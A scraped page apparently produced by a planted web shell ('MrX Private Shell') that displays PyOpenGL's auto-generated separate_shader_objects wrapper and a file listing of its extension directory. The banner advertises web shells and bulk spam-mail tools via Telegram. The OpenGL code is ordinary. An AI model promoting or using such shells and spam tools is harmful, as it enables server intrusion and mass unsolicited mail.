__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.65: ~ $
'''OpenGL extension ARB.separate_shader_objects

This module customises the behaviour of the 
OpenGL.raw.GL.ARB.separate_shader_objects to provide a more 
Python-friendly API

Overview (from the spec)
	
	Conventional GLSL requires multiple shader stages (vertex,
	fragment, geometry, tessellation control, and tessellation
	evaluation) to be linked into a single monolithic program object to
	specify a GLSL shader for each stage.
	
	While GLSL's monolithic approach has some advantages for
	optimizing shaders as a unit that span multiple stages, all
	existing GPU hardware supports the more flexible mix-and-match
	approach.
	
	Shaders written for HLSL9, Cg, the prior OpenGL assembly program
	extensions, and game console favor a more flexible "mix-and-match"
	approach to specifying shaders independently for these different
	shader stages.  Many developers build their shader content around
	the mix-and-match approach where they can use a single vertex shader
	with multiple fragment shaders (or vice versa).
	
	This extension adopts a "mix-and-match" shader stage model for GLSL
	allowing multiple different GLSL program objects to be bound at once
	each to an individual rendering pipeline stage independently of
	other stage bindings. This allows program objects to contain only
	the shader stages that best suit the applications needs.
	
	This extension introduces the program pipeline object that serves as
	a container for the program bound to any particular rendering stage.
	It can be bound, unbound, and rebound to simply save and restore the
	complete shader stage to program object bindings.  Like framebuffer
	and vertex array objects, program pipeline objects are "container"
	objects that are not shared between contexts.
	
	To bind a program object to a specific shader stage or set of
	stages, UseProgramStages is used.  The VERTEX_SHADER_BIT,
	GEOMETRY_SHADER_BIT, FRAGMENT_SHADER_BIT, TESS_CONTROL_SHADER_BIT,
	and TESS_EVALUATION_SHADER_BIT tokens refer to the conventional
	vertex, geometry, fragment, tessellation control and tessellation
	evaluation stages respectively. ActiveShaderProgram specifies the
	program that Uniform* commands will update.
	
	While ActiveShaderProgram allows the use of conventional Uniform*
	commands to update uniform variable values for separable program
	objects, this extension provides a preferrable interface in a set
	of ProgramUniform* commands that update the same uniform variables
	but take a parameter indicating the program object to be updated,
	rather than updating the currently active program object. These
	commands mirror those introduced in EXT_direct_state_access.
	
	While glActiveShaderProgram provides a selector for setting and
	querying uniform values of a program object, the glProgramUniform*
	commands provide a selector-free way to modify uniforms of a GLSL
	program object without an explicit bind. This selector-free model
	reduces API overhead and provides a cleaner interface for
	applications.
	
	Separate linking creates the possibility that certain output varyings
	of a shader may go unread by the subsequent shader inputting varyings.
	In this case, the output varyings are simply ignored.  It is also
	possible input varyings from a shader may not be written as output
	varyings of a preceding shader.  In this case, the unwritten input
	varying values are undefined.
	
	This extension builds on the proof-of-concept provided by
	EXT_separate_shader_objects which demonstrated that separate
	shader objects can work for GLSL.  EXT_separate_shader_objects
	was a response to repeated requests for this functionality from
	3D developers.
	
	This ARB version addresses several "loose ends" in the prior
	EXT extension.  In particular, it allows user-defined varyings
	with explicitly defined locations or implicitly assigned locations.
	
	This ARB extension extends the GLSL language's use of layout
	qualifiers to provide cross-stage interfacing.

The official definition of this extension is available here:
http://www.opengl.org/registry/specs/ARB/separate_shader_objects.txt
'''
from OpenGL import platform, constant, arrays
from OpenGL import extensions, wrapper
import ctypes
from OpenGL.raw.GL import _types, _glgets
from OpenGL.raw.GL.ARB.separate_shader_objects import *
from OpenGL.raw.GL.ARB.separate_shader_objects import _EXTENSION_NAME

def glInitSeparateShaderObjectsARB():
    '''Return boolean indicating whether this extension is available'''
    from OpenGL import extensions
    return extensions.hasGLExtension( _EXTENSION_NAME )

# INPUT glCreateShaderProgramv.strings size not checked against count
glCreateShaderProgramv=wrapper.wrapper(glCreateShaderProgramv).setInputArraySize(
    'strings', None
)
# INPUT glDeleteProgramPipelines.pipelines size not checked against n
glDeleteProgramPipelines=wrapper.wrapper(glDeleteProgramPipelines).setInputArraySize(
    'pipelines', None
)
glGenProgramPipelines=wrapper.wrapper(glGenProgramPipelines).setOutput(
    'pipelines',size=lambda x:(x,),pnameArg='n',orPassIn=True
)
glGetProgramPipelineiv=wrapper.wrapper(glGetProgramPipelineiv).setOutput(
    'params',size=_glgets._glget_size_mapping,pnameArg='pname',orPassIn=True
)
# INPUT glProgramUniform1iv.value size not checked against count
glProgramUniform1iv=wrapper.wrapper(glProgramUniform1iv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform1fv.value size not checked against count
glProgramUniform1fv=wrapper.wrapper(glProgramUniform1fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform1dv.value size not checked against count
glProgramUniform1dv=wrapper.wrapper(glProgramUniform1dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform1uiv.value size not checked against count
glProgramUniform1uiv=wrapper.wrapper(glProgramUniform1uiv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform2iv.value size not checked against count*2
glProgramUniform2iv=wrapper.wrapper(glProgramUniform2iv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform2fv.value size not checked against count*2
glProgramUniform2fv=wrapper.wrapper(glProgramUniform2fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform2dv.value size not checked against count*2
glProgramUniform2dv=wrapper.wrapper(glProgramUniform2dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform2uiv.value size not checked against count*2
glProgramUniform2uiv=wrapper.wrapper(glProgramUniform2uiv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform3iv.value size not checked against count*3
glProgramUniform3iv=wrapper.wrapper(glProgramUniform3iv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform3fv.value size not checked against count*3
glProgramUniform3fv=wrapper.wrapper(glProgramUniform3fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform3dv.value size not checked against count*3
glProgramUniform3dv=wrapper.wrapper(glProgramUniform3dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform3uiv.value size not checked against count*3
glProgramUniform3uiv=wrapper.wrapper(glProgramUniform3uiv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform4iv.value size not checked against count*4
glProgramUniform4iv=wrapper.wrapper(glProgramUniform4iv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform4fv.value size not checked against count*4
glProgramUniform4fv=wrapper.wrapper(glProgramUniform4fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform4dv.value size not checked against count*4
glProgramUniform4dv=wrapper.wrapper(glProgramUniform4dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniform4uiv.value size not checked against count*4
glProgramUniform4uiv=wrapper.wrapper(glProgramUniform4uiv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix2fv.value size not checked against count*4
glProgramUniformMatrix2fv=wrapper.wrapper(glProgramUniformMatrix2fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix3fv.value size not checked against count*9
glProgramUniformMatrix3fv=wrapper.wrapper(glProgramUniformMatrix3fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix4fv.value size not checked against count*16
glProgramUniformMatrix4fv=wrapper.wrapper(glProgramUniformMatrix4fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix2dv.value size not checked against count*4
glProgramUniformMatrix2dv=wrapper.wrapper(glProgramUniformMatrix2dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix3dv.value size not checked against count*9
glProgramUniformMatrix3dv=wrapper.wrapper(glProgramUniformMatrix3dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix4dv.value size not checked against count*16
glProgramUniformMatrix4dv=wrapper.wrapper(glProgramUniformMatrix4dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix2x3fv.value size not checked against count*6
glProgramUniformMatrix2x3fv=wrapper.wrapper(glProgramUniformMatrix2x3fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix3x2fv.value size not checked against count*6
glProgramUniformMatrix3x2fv=wrapper.wrapper(glProgramUniformMatrix3x2fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix2x4fv.value size not checked against count*8
glProgramUniformMatrix2x4fv=wrapper.wrapper(glProgramUniformMatrix2x4fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix4x2fv.value size not checked against count*8
glProgramUniformMatrix4x2fv=wrapper.wrapper(glProgramUniformMatrix4x2fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix3x4fv.value size not checked against count*12
glProgramUniformMatrix3x4fv=wrapper.wrapper(glProgramUniformMatrix3x4fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix4x3fv.value size not checked against count*12
glProgramUniformMatrix4x3fv=wrapper.wrapper(glProgramUniformMatrix4x3fv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix2x3dv.value size not checked against count*6
glProgramUniformMatrix2x3dv=wrapper.wrapper(glProgramUniformMatrix2x3dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix3x2dv.value size not checked against count*6
glProgramUniformMatrix3x2dv=wrapper.wrapper(glProgramUniformMatrix3x2dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix2x4dv.value size not checked against count*8
glProgramUniformMatrix2x4dv=wrapper.wrapper(glProgramUniformMatrix2x4dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix4x2dv.value size not checked against count*8
glProgramUniformMatrix4x2dv=wrapper.wrapper(glProgramUniformMatrix4x2dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix3x4dv.value size not checked against count*12
glProgramUniformMatrix3x4dv=wrapper.wrapper(glProgramUniformMatrix3x4dv).setInputArraySize(
    'value', None
)
# INPUT glProgramUniformMatrix4x3dv.value size not checked against count*12
glProgramUniformMatrix4x3dv=wrapper.wrapper(glProgramUniformMatrix4x3dv).setInputArraySize(
    'value', None
)
glGetProgramPipelineInfoLog=wrapper.wrapper(glGetProgramPipelineInfoLog).setOutput(
    'infoLog',size=lambda x:(x,),pnameArg='bufSize',orPassIn=True
).setOutput(
    'length',size=(1,),orPassIn=True
)
### END AUTOGENERATED SECTION

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
ES2_compatibility.py File 1.92 KB 0644
ES3_1_compatibility.py File 2.13 KB 0644
ES3_2_compatibility.py File 1.46 KB 0644
ES3_compatibility.py File 1.16 KB 0644
__init__.py File 23 B 0644
arrays_of_arrays.py File 3.48 KB 0644
base_instance.py File 2.3 KB 0644
bindless_texture.py File 3.75 KB 0644
blend_func_extended.py File 1.65 KB 0644
buffer_storage.py File 2.06 KB 0644
cl_event.py File 1.11 KB 0644
clear_buffer_object.py File 1.88 KB 0644
clear_texture.py File 2.57 KB 0644
clip_control.py File 3.83 KB 0644
color_buffer_float.py File 2.09 KB 0644
compatibility.py File 751 B 0644
compressed_texture_pixel_storage.py File 2.14 KB 0644
compute_shader.py File 3.01 KB 0644
compute_variable_group_size.py File 1.63 KB 0644
conditional_render_inverted.py File 988 B 0644
conservative_depth.py File 1.53 KB 0644
copy_buffer.py File 1007 B 0644
copy_image.py File 1.56 KB 0644
cull_distance.py File 993 B 0644
debug_output.py File 5 KB 0644
depth_buffer_float.py File 1.73 KB 0644
depth_clamp.py File 2.33 KB 0644
depth_texture.py File 1.35 KB 0644
derivative_control.py File 1.74 KB 0644
direct_state_access.py File 8.59 KB 0644
draw_buffers.py File 1.54 KB 0644
draw_buffers_blend.py File 1.23 KB 0644
draw_elements_base_vertex.py File 4.09 KB 0644
draw_indirect.py File 1.53 KB 0644
draw_instanced.py File 1.87 KB 0644
enhanced_layouts.py File 4.11 KB 0644
explicit_attrib_location.py File 1.2 KB 0644
explicit_uniform_location.py File 1.14 KB 0644
fragment_coord_conventions.py File 3.48 KB 0644
fragment_layer_viewport.py File 1.37 KB 0644
fragment_program.py File 4.88 KB 0644
fragment_program_shadow.py File 1.74 KB 0644
fragment_shader.py File 1.48 KB 0644
fragment_shader_interlock.py File 3.83 KB 0644
framebuffer_no_attachments.py File 3.73 KB 0644
framebuffer_object.py File 16.34 KB 0644
framebuffer_sRGB.py File 2.35 KB 0644
geometry_shader4.py File 2.4 KB 0644
get_program_binary.py File 2.46 KB 0644
get_texture_sub_image.py File 1.23 KB 0644
gl_spirv.py File 15.71 KB 0644
gpu_shader5.py File 4.04 KB 0644
gpu_shader_fp64.py File 5.05 KB 0644
gpu_shader_int64.py File 4.45 KB 0644
half_float_pixel.py File 1.51 KB 0644
half_float_vertex.py File 1.26 KB 0644
imaging.py File 8.31 KB 0644
indirect_parameters.py File 2.08 KB 0644
instanced_arrays.py File 2 KB 0644
internalformat_query.py File 1.49 KB 0644
internalformat_query2.py File 3.23 KB 0644
invalidate_subdata.py File 3.05 KB 0644
map_buffer_alignment.py File 1.03 KB 0644
map_buffer_range.py File 2.05 KB 0644
matrix_palette.py File 2.23 KB 0644
multi_bind.py File 3.62 KB 0644
multi_draw_indirect.py File 1.88 KB 0644
multisample.py File 2.21 KB 0644
multitexture.py File 2.18 KB 0644
occlusion_query.py File 5.09 KB 0644
occlusion_query2.py File 1.03 KB 0644
parallel_shader_compile.py File 1.2 KB 0644
pipeline_statistics_query.py File 1.44 KB 0644
pixel_buffer_object.py File 4.25 KB 0644
point_parameters.py File 3.09 KB 0644
point_sprite.py File 1.67 KB 0644
polygon_offset_clamp.py File 1.36 KB 0644
post_depth_coverage.py File 1.15 KB 0644
program_interface_query.py File 4.12 KB 0644
provoking_vertex.py File 2.02 KB 0644
query_buffer_object.py File 2.21 KB 0644
robust_buffer_access_behavior.py File 1.47 KB 0644
robustness.py File 8.27 KB 0644
robustness_isolation.py File 792 B 0644
sample_locations.py File 2.65 KB 0644
sample_shading.py File 2.06 KB 0644
sampler_objects.py File 3.87 KB 0644
seamless_cube_map.py File 1.84 KB 0644
seamless_cubemap_per_texture.py File 2.2 KB 0644
separate_shader_objects.py File 11.1 KB 0644
shader_atomic_counter_ops.py File 1.29 KB 0644
shader_atomic_counters.py File 2.45 KB 0644
shader_ballot.py File 1.04 KB 0644
shader_bit_encoding.py File 1.06 KB 0644
shader_clock.py File 1.27 KB 0644
shader_draw_parameters.py File 2.32 KB 0644
shader_group_vote.py File 3.27 KB 0644
shader_image_load_store.py File 3.52 KB 0644
shader_image_size.py File 897 B 0644
shader_objects.py File 10.41 KB 0644
shader_precision.py File 1.21 KB 0644
shader_stencil_export.py File 1.47 KB 0644
shader_storage_buffer_object.py File 3.12 KB 0644
shader_subroutine.py File 2.13 KB 0644
shader_texture_image_samples.py File 978 B 0644
shader_texture_lod.py File 4.39 KB 0644
shader_viewport_layer_array.py File 1.79 KB 0644
shading_language_100.py File 1.03 KB 0644
shading_language_420pack.py File 2.48 KB 0644
shading_language_include.py File 2.48 KB 0644
shading_language_packing.py File 1.74 KB 0644
shadow.py File 1.07 KB 0644
shadow_ambient.py File 1.2 KB 0644
sparse_buffer.py File 1.16 KB 0644
sparse_texture.py File 1.8 KB 0644
sparse_texture2.py File 2.14 KB 0644
sparse_texture_clamp.py File 1.38 KB 0644
spirv_extensions.py File 2.04 KB 0644
stencil_texturing.py File 1.09 KB 0644
sync.py File 3.11 KB 0644
tessellation_shader.py File 5.06 KB 0644
texture_barrier.py File 935 B 0644
texture_border_clamp.py File 1.48 KB 0644
texture_buffer_object.py File 2.62 KB 0644
texture_buffer_object_rgb32.py File 1.12 KB 0644
texture_buffer_range.py File 1.39 KB 0644
texture_compression.py File 5.79 KB 0644
texture_compression_bptc.py File 1.68 KB 0644
texture_compression_rgtc.py File 1.71 KB 0644
texture_cube_map.py File 3.45 KB 0644
texture_cube_map_array.py File 2.12 KB 0644
texture_env_add.py File 1.1 KB 0644
texture_env_combine.py File 1.61 KB 0644
texture_env_crossbar.py File 1.17 KB 0644
texture_env_dot3.py File 1.12 KB 0644
texture_filter_anisotropic.py File 2.83 KB 0644
texture_filter_minmax.py File 1.57 KB 0644
texture_float.py File 1.12 KB 0644
texture_gather.py File 1.05 KB 0644
texture_mirror_clamp_to_edge.py File 1.37 KB 0644
texture_mirrored_repeat.py File 1.25 KB 0644
texture_multisample.py File 1.47 KB 0644
texture_non_power_of_two.py File 1.67 KB 0644
texture_query_levels.py File 2.03 KB 0644
texture_query_lod.py File 1015 B 0644
texture_rectangle.py File 2.29 KB 0644
texture_rg.py File 2.2 KB 0644
texture_rgb10_a2ui.py File 1.14 KB 0644
texture_stencil8.py File 1009 B 0644
texture_storage.py File 1.77 KB 0644
texture_storage_multisample.py File 1.58 KB 0644
texture_swizzle.py File 1.79 KB 0644
texture_view.py File 1.93 KB 0644
timer_query.py File 2.31 KB 0644
transform_feedback2.py File 2.53 KB 0644
transform_feedback3.py File 3.71 KB 0644
transform_feedback_instanced.py File 1.4 KB 0644
transform_feedback_overflow_query.py File 1.05 KB 0644
transpose_matrix.py File 1.81 KB 0644
uniform_buffer_object.py File 6.65 KB 0644
vboimplementation.py File 1.35 KB 0644
vertex_array_bgra.py File 3.39 KB 0644
vertex_array_object.py File 1.79 KB 0644
vertex_attrib_64bit.py File 3.66 KB 0644
vertex_attrib_binding.py File 2.19 KB 0644
vertex_blend.py File 2.84 KB 0644
vertex_buffer_object.py File 7.23 KB 0644
vertex_program.py File 8.88 KB 0644
vertex_shader.py File 5.57 KB 0644
vertex_type_10f_11f_11f_rev.py File 1.25 KB 0644
vertex_type_2_10_10_10_rev.py File 2.96 KB 0644
viewport_array.py File 3.16 KB 0644
window_pos.py File 2.29 KB 0644
Filemanager